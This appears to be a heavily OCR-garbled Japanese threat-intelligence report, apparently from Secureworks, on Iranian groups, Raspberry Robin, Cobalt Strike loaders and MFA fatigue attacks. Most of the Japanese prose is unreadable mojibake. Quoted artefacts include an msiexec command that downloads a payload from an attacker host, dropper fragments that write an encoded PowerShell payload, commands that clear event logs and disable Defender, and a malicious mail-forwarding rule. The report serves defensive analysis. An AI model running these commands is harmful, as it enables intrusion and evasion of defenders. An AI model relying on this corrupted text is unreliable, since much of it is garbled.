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https://www.cybercom.mil/Media/News/Article/2897570/iranian-intel-cyber-suite-of-malware-uses-open-source-tools/
https://www.secureworks.com/research/threat-profiles/Cobalt-ulster
https://about.fb.com/news/2021/07/taking-action-against-hackers-in-iran/
https://www.secureworks.com/research/threat-profiles/cobalt-fireside
https://www.proofpoint.com/us/blog/threat-insight/media-coverage-doesnt-deter-actor-threatening-democratic-voters
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1VDRBIIN—TRER IRV T&EHE

CTUYH—F ¥ —I(3.COBALT MIRAGE NN KEZIEWE LISV AT T
TEFyIR=ICEWT, hrRYVTY—)LTHSngrok&Fast Reverse

ProxyZ{ERLTWeZ EZBASMCLTWET, £fen—FRIts—F1D

HECTED, ASYDTIN—"THNRRIVTY—)L2EDZEFBLT
WBHIDEASMCETNTWT, COBALT ULSTERAMER LA —T VY —X
Dh>xY>TY—)LELT, Chisel. Secure Socket Funnelling (SSF).

Ligolo. SharpChiselh'#R&ESNTWET,

Ngrokld, 22< &H20205F L %, COBALT FOXGLOVE®|C K37+ v
VYT (CFERAS N, COBALT AGORA®ICHFERAINTWET, BE
OTIN—TF. PZ7EREEAOEBICESRZES. NH. GODx& M
EN2FLWIILD T P& FEWERSDHE LI, GODxIt, Z77ILOFv7O—
R, 771ILDFo>rO—R, cmd.exeZ N UIEEOINY Y RDETEWNS
T EARIIERATISBEZ IR U, HTTPE K UDNSENLTC2H—/\—& 8@
EUET,

fh.WriteLine(" C i 4 ENCODED POWERSHELL PAYL

fh.WriteLine(" g )");

fh.Writeline(" Se SPROFILE")

fh.WriteLine(" y > $null")

fh.WriteLine(

fh.WriteLine(

fh.WriteLine(' 2 .run ell. dowstyle hidden -NonInteractive -noprofile -FILE

)")s

%progranda

fh.WriteLine(
fh.Close();

K30.GODx RO w/t—h 5D I— R ik#: (H8h : Secureworks)

COBALT LYCEUM® (&, C2B{EDTzHDDNSk> R V7 IcMilanRAT%
FRUTWELZ, 2OTIL—T152021F6H. 1 AZT)LEHEfefvy
R=2 M SMilanRATZE WA, 1 AZTILICHEEBLY 780275
#tChip PC TechnologiesiC%& D 3 & UTctazEWeb 1 Mz B EIF &L
fco TDWebt - M. RIEMIICMiIlanRATHEREN 22D DREREF = —
VTERAINE L, Ihidk, 1RSI EZENETRHDEHEER
5HDTUT,

*  C:\ProgramData\MsNpENg\

+  C:\ProgramData\MsNpENg\Database.MDF
*  C:\ProgramData\MsNpENg\Log

+  C:\ProgramData\MsNpENg\Log\[a-z0-9]{8}d
+  C:\ProgramData\MsNpENg\Log\[a-z0-9]{8}f
+  C:\ProgramData\MsNpENg\Log\[a-z0-9]{8}g
»  C:\ProgramData\MsNpENg\Log\[a-z0-9]{8}s
*  C:\ProgramData\MsNpENg\MsNpENg

»  C:\ProgramData\MsNpENg\curent.txt

K31.MilanRATIC K DER S 7= 7 71 )L (HE8 : Secureworks)

2022568, A 7Y OMIIFFE}HHERLELL, CDOEFIE. DIG.net
A—T VY=Y —=)LDAHRI A XhRE BN, DnsSystem& IEIE N
BNETR—ZXDDNS/\Y I R 7 ZFERALTVWEY, ZON/ILTT7Id. DNS
hoxUTHNUCGEEL. DNSYVTUEFIBLT. WBEDR—LH—
N—ECOBEZETTVWED, LU, —ZOT—R/—F 1 DRE L IER
MIC. CTUVHY—F +—IFZDiEEI % COBALT LYCEUME BEER IF Tld W
Ft A,
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https://www.secureworks.com/blog/cobalt-mirage-conducts-ransomware-operations-in-us
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/espionage-campaign-telecoms-asia-middle-east
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/espionage-campaign-telecoms-asia-middle-east
https://www.secureworks.com/research/threat-profiles/cobalt-foxglove
https://www.secureworks.com/research/threat-profiles/cobalt-agora
https://www.secureworks.com/research/threat-profiles/cobalt-lyceum
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SVHYLTITIE. CORHKLBE. 1ZVORETI—TDFEHDT—Y
EULTHEBUBITTLWEITH, ZOREOENIFTNT UEBEETIEHDF
Tho ZLDIHE., EEMAIRIDEREINBNTERINLTWE LS
T

CF1FPT—VADA VTV RNERAVFILT VY NMEZDIE, A1 RXZT
U KE. BN, A= ST YT OEBICKE T SCOBALT MIRAGEZ >
YAV 7 HEZFHBELTEF U, COBALT MIRAGEDSEEN D EXRIL,
PHOSPHORUS® & & ' TunnelVision" s UTHREENTWT, 2D
JL—7I&. COBALT ILLUSION® (/XA EEICBIEUKEAITL., ¥
HABRADIEDMGNIR T vV T ZEICTOIVIVL—T) EDBADNEH
BEEZSNTVET,

» DefaultAccountz7 9717

- Exchanget—/\—®

7Aa*x Y EEH
- Web>xllerAay7

I—'—I

20225 1R6B LA

- BAAICBE

« RV T[RRIV TY—IVERER

2021FENA. KE. A—ZATUT BRIV REOBFEENRERUER
FPRENRAFY=SCkBE AF5VDTIV—"TDBVATLNDDEREAD
feshlc, DI EH20215FEIF LI, FortinetDiESEMEBRHLTWEL
foo Ffo. OV, DR EH2021F10BLEE. DHREANEBRN
& U TMicrosoft Exchange ProxyShel D5 1EZBALTWE LTz, CTU
UH—F v —&, ZOFRNAPU—ICHERINTVWEEHOKRETSE
COBALT MIRAGEEHFELTWE T,

COBALT MIRAGED S > T ATz 7id. —MARUE—FI— RO
(ProxyShellt°Log4Shell%z &) ZBRULTER AL, ngrok PFRPZRED k>
KUY TY—=)LEEBRELT. RIEMICBitLockerDiskCryptor& E->TY
ATFLEBSHULETH. BT ULERIILTWS DI TIEHDhEEA.

« 32DKAMT
BitLocker%
7797174

- BREFEREEZTV VI ICEE

2022%1HA6H~202241H10H

X32.2022418. BitLocker®FBIC DM R AICHIFTHCOBALT MIRAGEDTTE) (HHE : Secureworks)
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https://www.microsoft.com/security/blog/2021/11/16/evolving-trends-in-iranian-threat-actor-activity-mstic-presentation-at-cyberwarcon-2021/
https://www.sentinelone.com/labs/log4j2-in-the-wild-iranian-aligned-threat-actor-tunnelvision-actively-exploiting-vmware-horizon/
https://www.secureworks.com/research/threat-profiles/cobalt-illusion
https://www.cisa.gov/uscert/ncas/alerts/aa21-321a
https://www.cisa.gov/uscert/ncas/alerts/aa21-321a
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ZIHh 5EHNFIRPCBERNEICHKBSIEIBEAIRENRELSTI, £
STH-oc&LTH, COBALT MIRAGEIR, —fRICABINTWBESL
V=)L ZEoTIV LAV TEEZITV., KEERESEEIFrY - K
BILLDEBZzRETEDDT. REETHOEE CTHDIESAFT

CDTI—TE FVTLD T PREZR STc XA BB IRIEN F v
YR—YTARASITILEZEMICLTWB DA SV DRES I —TE D
HERMNBOET, fc&ZIE. N3twOrm¥>COBALT SHADOW™ (F%
Agrius) DESRRTIL—F, Moses Staff DK SiR/\w I 7V RU—IIK
ENEENET
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https://www.secureworks.com/research/threat-profiles/cobalt-shadow
https://www.secureworks.com/research/threat-profiles/cobalt-sapling
https://www.cybereason.com/blog/research/strifewater-rat-iranian-apt-moses-staff-adds-new-trojan-to-ransomware-operations
https://research.checkpoint.com/2021/mosesstaff-targeting-israeli-companies/
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https://www.secureworks.com/research/threat-profiles/bronze-butler
https://www.virusbulletin.com/conference/vb2019/abstracts/defeating-apt10-compiler-level-obfuscations/
https://www.virusbulletin.com/conference/vb2019/abstracts/defeating-apt10-compiler-level-obfuscations/
https://www.crowdstrike.com/blog/guloader-malware-analysis/
https://www.secureworks.com/research/threat-profiles/GOLD-DUPONT
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Raspberry Robin-
EHOLORF RS

2022FH. EF 2T TV ADELDEERN. XS IBERFE
IC & DIRAIELEE %K 5 TRaspberry Robiny & &5 iz#H LLWUSB
T—LADWEICEBNE Uz, ZDT—LAl, SN /=Windows Installer
(msiexec.exe) 7AERZRHEMNDIC, HEEOI—HF—LZET/INAIR
ZEEDHTTPUV I RN ZFEALT. BESNQNAPTINA R EiC
BBIEDLVNC2A VT ZANTIFvICTIEALLSELEY, CTUY
P —F v —IF. Raspberry RobinhBHIIDC21>7Z&LTTOREO ./ —
REFERLTWSZEEREBULTWETD,

Fre. AV RSAVEIHZEBRIRT 2 RZERT B/Hlc. NHEHINT
WERWINYRIAVRAYFPBEBREEIFERZ/INA 7OV RZFERAL
TWELRE (K35),

MSIExeC -Q/I"HttP:\\WaK.ROcKs:8080\IhpRTe3CRvV\GGCVBD3"

Command Line

MSIExeC -Q/i"Htt

K35 ABSNTOWRWIRY RSV ZAAY FP/INA IV RZERT S
Raspberry Robin (£ : Secureworks)

Fie, ZDNILTT T HTTPUI I ZAMIREBEX (\yIAZvya
DERRE) #FEBRL. AVYRIAVIAYFRERDIR—A%HIRT S
ZET, XFHNBEV /R FvELOELELSELTWE U,

Process Event Details
"C:\Windows\System32\Cmd.Exe" /V/R TypE XpHFK.USB|C:\WINDOWS\System32\Cmd.Exe

Command Line | Not Blocked

"C:\Windows\system32\cmd.exe" /v/r TypE xpHFK.uSB|C:\WINDOWS\system32\cmd.exe

[X36.Raspberry RobinD Al DA TEI[E]#E (HE © Secureworks)

CTUUY—F v—id. WEBENEROI—F—THU > MIE (UAC) X
AIZAFFEAM . BRIEHICHIDREIEETF L TH D IEEZEDINR T %
FODLIRAO—RDOEITICHINUIcZ EERHERBUEUIZ (K37), E5IC
BRZOBFEELT WEBEFT—IX—2Y—)Lodbcconf PR D
regsvridRE A FER LU TCDLLORTE 7OF Y LTWETY,

[12936] C:\Windows\SysWOWs64\ 4/18/202216:07:14  Children:

[9048] C:\Windows\System32\slui.exe 4/18/202216:14:53  Children:
[3480] C:\Windows\System32\slui.exe 4/18/202216:14:53  Children:
[18664] C:\Windoy changepk.exe 4/18/202216:14:54  Children:

[17880] C:\Windows\System32\rundli32.exe 4/18/202216:14:54  Children:

X|37.Raspberry Robin® 1—4'—77 17> NHIfE 0D [a] 8
({88 : Secureworks)
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https://www.cybereason.com/blog/threat-alert-raspberry-robin-worm-abuses-windows-installer-and-qnap-devices
https://docs.microsoft.com/en-us/sql/odbc/odbcconf-exe?view=sql-server-ver16
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2021FH . CTUUY—Fv—F. KEREICHTERYNT—IEED
S5O E 1 7zBRONZE ATLAS D Cobalt StrikeOd—4%—%@ETLE LT,
BEInO—4%—0#%EIE. Cobalt Strke1A—RD771)LELT
T4 A7 EDC:A\Users\Public\NTUSER.DATZEE LT E Lfzo NTUSER.
DATIZ, B&EHDWindows DLLZ 7-1JL (UXLibRes.dll) T, BES{tE
N =Cobalt Strike/-f O— RA'Authenticode™F I )L BLDRICEE
hTWxULk (K38),

ZDHETRAO—RZEBHRAATE. TIYVIEBZOEMMEEERDN
9. NTUSERdatld BRI TIIINEBLZEZR/F ODERD T 7IILICRZAET,
Microsoftid. 20134E(CZ DIESFHICHIGT D EF1UTBH IO T
(MS13-098"°) #UU—ZALFEUA COEBIIZAT M1 V#EE° T,

C:\Users\ \Desktop\AnalyzePESig\x64\Release>AnalyzePESig-x64.exe C:\Users\Public\NTUSER.DAT
Filename: C:\Users\Public\NTUSER.DAT

Extension: .dat

MD5: 620a53bcbo8c609fblda®7aaabfo0791

Entropy: 7.99034

Filesize: 273440

Creation time: 2021/07/05 09:03:41

Last write time: 2021/07/05 07:57:00

Last access time: 2021/07/19 13:09:44
Owner name:

File attributes:

File attributes decode:

Characteristics:

Characteristics decode:

Magic:

Magic decode:

Subsystem:

Size of code:

Address of entry point:

Compile time: 1990/01/05 08:08:58
RVA15: ]

CLR version:

Sections: .rdata, .rsrc
Signature size 1: 270368
Signature size 2: 270368
Signature Revision: 200
Signature Certificate Type:

Bytes after signature:

Result PKCS7 parser:

. Cobealt Strike payload located after the Authenticode
PKCS7 size:

signature in the Certificate Table

X38. 7Y 7 ILEA S NcWindows/\1 7B HIAF 1 7zCobalt Strike - O—
R (8 : Secureworks)
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https://www.secureworks.com/research/threat-profiles/bronze-atlas
https://reversea.me/index.php/authenticode-i-understanding-windows-authenticode/
https://docs.microsoft.com/en-us/security-updates/securitybulletins/2013/ms13-098
https://docs.microsoft.com/en-us/security-updates/securityadvisories/2014/2915720
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X1V TrXRE
[B]:629 5 T 8D DIRIZDAZ X

BEADT7IVEREAFULKEEZ. RYNT—0T7—FF70F v, &
FaTAWR KBF 77 XANEROERICE>T. (BERINTH S
HESMHCHNDET) TEDERMFHIRINh TS ZEICRMA<HEL
nNFERA, CTUVT—Fr—id. KEENINSOFIRZEET B
DFIEEBATWDZEEAABEBUTWES, BEENRHIELTIE. MY
TOESBEDHHBDET,

2021 ¥ (L, HBHEED. Microsoft Office” 7V r—3
YHD "7 A ERS OV L% &R Y470 MRy
Az BRAUTCirikdR B Z 1R 17 H L TH SKerberoastingl
T CRIEORIERZES I EICHMLELR, &
DCitrix DR EREF A AFBRINS LKASNTVET,
BN, HHNOHZBENSDEBENR TIRHERE OFE
ZHEZRITBHICE. THHOICEF2VT4TANZERETS
ENHDET,

Command Line;

C:\Windows\system3i2\cmd.exe /C for /F "tokens=*"

K39.Windows AR OV %ZHET 2SIV RS> (HE : Secureworks)

£l in (

2021 OB ICHE U RyUkBEEDRY N7 —JEETIE., <
VAT T OEZMREDY. Cobalt StrikexE1 >V S
feIER Dmobsync.exe 7O ADF I RN T Y KRRy NT—2
NST1v 0% T27 747 74—)LIL—)LZBIILTWL
F9, WRKEVTEERDIF, WEENEF2UT KR
FHTEMCTEBLNILITHIEZARSED ZEZHL
M REDBREDESERIETT,

20215FENH. H2BEED. ProxyShel DREFFHEEFALT
Ay —xyNcERSNcY—/\—[Cc 7oA L. Cobalt
Strikex BRALEUfc, &S, ANYRIAVETE
ifor)ll —7&ERIZIET BES Y —/I\—FLD
Windows /R cATHAEESINTWELRZ (K39),

'wevtutil.exe el') DO wevtutil.exe
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2021128, H DB EED. LogsShellDE5 M= FIF L
TAVI—Ry NIERES N —/N\—%EZE0L. Windows
Defenderz 3N IC 9 %Base64 LY J— R I 1fcPowerShellJ
VY REETUEURE (K40), Base64TVI—RiEk, 7F+V
ARPEF2UTFoY—IUIc kB IVY RSA VI8 DBRITEH
ULKUZETHN Baseb4ILrI—RENfzaNV Y RHMBOZELL
WARY NE—TBICEETDE. RADOFENDICHEDET,
2022F ¥ (F, BECHEZABNIcH2HEEN ZRFELEL

exe" -EncodedCommand Set-Mp

X 40.Defenderz FE#IC T Bz ICERI Nz T I— R I fzPowerShell
(H488 : Secureworks)

IRTDOA=IZENTDA—)LT RLRICERET D X —)LERi%
W=V ERUE U A—)LERXIL—ILIE, WEEIMES
ENA—T—DSZDEBZRESETBIHDICTA—ILT A
VYRDERETELKERSNEI D, 75T RAPIZRIRIIC

BRI TCIDEIZRMTEL T,

"date":"2022
"event_name" :"New-InboxRule",
"event_source":"Exchange",
"event_time_fidelity":"MICRO",
"event_time_usec": A
"event_type" :"ExchangeAdmin",
S hoUuE: ] =
"ingest_time_usec": ),
"normalizer":
"request_parameters":{
"record": [
{
"key":"AlwaysDeleteQutlookRulesBlob",
"value":"False"

}
{
“key":"Force",
"value":"False"
}H
{
"key":"ForwardTo",
"value":" @gmail.com"
}!
{
"key":"Name",
"value":"Administartive"
}u
{

"key":"StopProcessingRules”,
“value":"True"

X418 E (C & DA —)LER3E )L —)L DYER % 7R S Taegis XDRT LA KUY —
(H488 : Secureworks)
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BECE>TZORENRWHTY, XEBEIFENZERT DIcHICL)
BRYEBDHAEITSH, ENEBOBREICHEITZ 1T HEDOK
REE, EFNSOOYNA—-ILZLEE T 2HICREENRATZIFES
OBICIXEZENRBENHDET, HIIDFRINECELIF. ThEDF
ED WEEDFEHORAT BN/ —VEEDEVNSIETY,

HERICHERDIE, WBEICLDRENDTREAZREICT ST
dAvhO—LzERETRIEE, HBEORENTORBRREZREICTD
BERY—INZEBEATZIETY, ZOEMIE. WEEDIRNE|E LT
FHCINERR B AT OWEE ICRUT, tHoEZENIcB2L3IctmAiTS
ZETY,
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ZERDAL(MFA)D[E]5E
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£, MFAIL, Blcrvy—xyMNERSNET 7 Tr—ya vy PEE
BRUY=RETFIEATDTHIVNcE>T, EELFHHNIY NAO—IL
ERDET, ULHL., EFa7T7—02ADAVIF Y EIGAYFILE Y
NME. SERSFBRFETMFANERE SN TWSHZ EIHRIICHERLTL
F9, ZLDT—RAT. WEHEEEMFAICEFRINTWRWI ATV~
EREL. BEOTN\A AZEHFUTWET, 202243H, CISAIE. O
VB TIETIHEENCNEFEFEAV TSI EER/EUEL
feo

CFa2TT—IZADA VTV MIDRICLSEBT 2621020V FUA
& T70OY 7 NEE (Prompt bombing) ¥MFAJETL (MFA Fatigue) &
BIFENZ) TY, COKETIE., WEEIF. MFATRESNIZIERT
NOVRIAOOTAYRTERDEL, MFAZOY 7N Z2fAEHY1—
PICEDDFZZET, I—P—DFIUE, KIFEFEEEICHD, 2
DOIEDIDEARBUTCUERSCEZIFLE I, WEEEE. FHHEICE
BDVIVIZANZLED, HIZI~2EEZF 7Oy ThZ2XELED, &
FEICLDY =PIV YUV T ERATZIEEHDET,

CTUVY—Fv—hERLIH D1V VTV h Tl EEIF. COFE
TRIBICTZ7EAL, EEDBEIBDERDY —2vILAT AT T hY
YRDIRZAT—RUy R ZERLUTWEUE, ZT0H. #HEEDOEBOD
1L,000AMU EDOREBICEREDH 271y T A=)V EED T,
DF NIV ZRBELLSELE U, T7AVYTNRE, 1F. WEYI)IL—
7GOLD RAINFOREST (All#Lapsus$) IRON RITUALAMERLTWS
EEWECPINTVWET,

CDECY—RNR—=TFTohSBESNELIDEBGFEICIE. BB
UN—2A7OF%&FE>THEED T 2oy arE58#R0. BEICEK
RENDRIFERE LYY 3V CookieZNETEZ T4y I VT XY RNE

FER IT26DHHNEL. Ihlckh, WEHEIZT TICRIEEHD
tyyavEFER-SED, MFA%@ET“%&"@% BlDFAE"TlE. Microsoft
Edge®WebView27” 77U —y 3> ZFfELTI—Y— DRI FH
CookieZ&EH. MFAD B TH>THT7 AT McAZ1 > L TWE LT,

MFAZBYICEET S
Y—ERXTHIOVREZELIRTODTHIVN, FichED
VJ—ZANDYE—RFPIERICEWTIMFAZEZELEL £S5,
ZhlE. MFAVY2—Y 3>z EBoID7a/N\(5—&BE#ES
BZETRETEET,

2022F10A1HIC T IR— MET & 72 B MicrosoftdBasic Auth
BE. MFAZYR—MLABWLAY 7OV ZEMELE
L&Do

74> DERIC, BRIy I TERTD F—ERT
R, BHBODEDEZREE T —EX (FESBEVZ
DOFEI—RAHRE) ZERLELLD,

BERBEICTIVERATEZTHAUYNIE. TTICRIESN
TWBI—H—TH>THEMFAZERLEL & S0

VATLADARERES 2BBLBREI LI —T—=2HF
LEL&D,

ZEMLX 1T HEO—IREUVIMFAZERELELL D,

XYNT=0 I A TF—oavaFERLULT HEENT7I&
ACETHEABICEH TERWESITHLELEL LS,
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Taegis XDRICEHAIN B &HTIE. FHEDFEDFEDA VAT VA%

RHTEBEICERZEDETWET, L& IE, TOSEEEERDY > MimikatzErrorsMemoryAllocation
71 (T1003") DFE. RBENBIABEREZY V7325 E>ERICH
D, FERIE 3BR=YTHBLI "BEFER, FHENS, Mimikatz lsthis slert alusbie? © | sy ves | 0 Mo
DESY—ILDRH T BHEEEERLTXEYRICRIBHRES Y 7S
BFEFTIFEIETY (H43), Summary -
BRICNTREECGEVERE, TYRKRIVh, Ry hT—IBLVY DETALS  JSON
SUREBFRSEIFTHEF YT AW EICLBENIARILEBEAT
BT B EEIUTHREESRICED. KEDSATR :R N"""“ ”

atus Reason: one

IRVHDTEBLEITREVRE B ZRINTEET,

First Activity:
Last Activity:
Inserted At:

First Investigated:

$ critical (1)

Severity: The severity changed 2 months ago
Detector: Inspector Rules @

Tactics: Credential Access

Techniques: OS Credential Dumping (T1003) 2
Sensor Types: (] Red Cloak Inspector O
Confidence:

Hostname:

I’é
*

Agent/Sensor |D:

Investigations: q CobaltStrike activity and LSASS dump
on multiple hosts

Description

A byte sequence associated with the Mimikatz credential theft tool was identified
in memory on the system. The presence of this byte sequence in a non-file backed
memory indicates that a threat actor may have deployed Mimikatz via a
post-exploitation framework to perform credential theft.

ERICET3
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M43 FBEEZFER Y —)LMimikatzD -1 >~ X EUIRAN (HEE : Secureworks)
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Learning from Incident Response: 2021 Year in Review,
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GOLD ULRICK threat group profile, Secureworks.
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Treasury Sanctions Evil Corp, the Russia-Based
Cybercriminal Group Behind Dridex Malware, U.S.
Department of the Treasury, accessed 7/27/22.
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GOLD DRAKE threat group profile, Secureworks.
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Evade Sanctions, Mandiant, accessed 8/4/22.

n/resources/unc2165-shifts-to

Cryptocurrency tumbler, Wikipedia, accessed 7/27/22.
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GOLD BLACKBURN threat group profile, Secureworks.

om/research/th
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and Relationships, Secureworks.
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Europol, accessed 7/27/22.
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4 GOLD MYSTIC threat group profile, Secureworks.
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https:/

cureworks

m/research/threat-profiles/

uthfield

Customer Advisory: Kaseya VSA Software Under Active
Attack, Secureworks.

ht -software-

EXCLUSIVE Governments turn tables on ransomware
gang REvil by pushing it offline, Reuters, accessed
8/2/22.
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Russia takes down REvil hacking group at U.S. request -
FSB, Reuters, accessed 7/27/22.

https:/ \/technology/russia-

hacking-group-us-request
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BishopFox / sliver, accessed 8/4/22.
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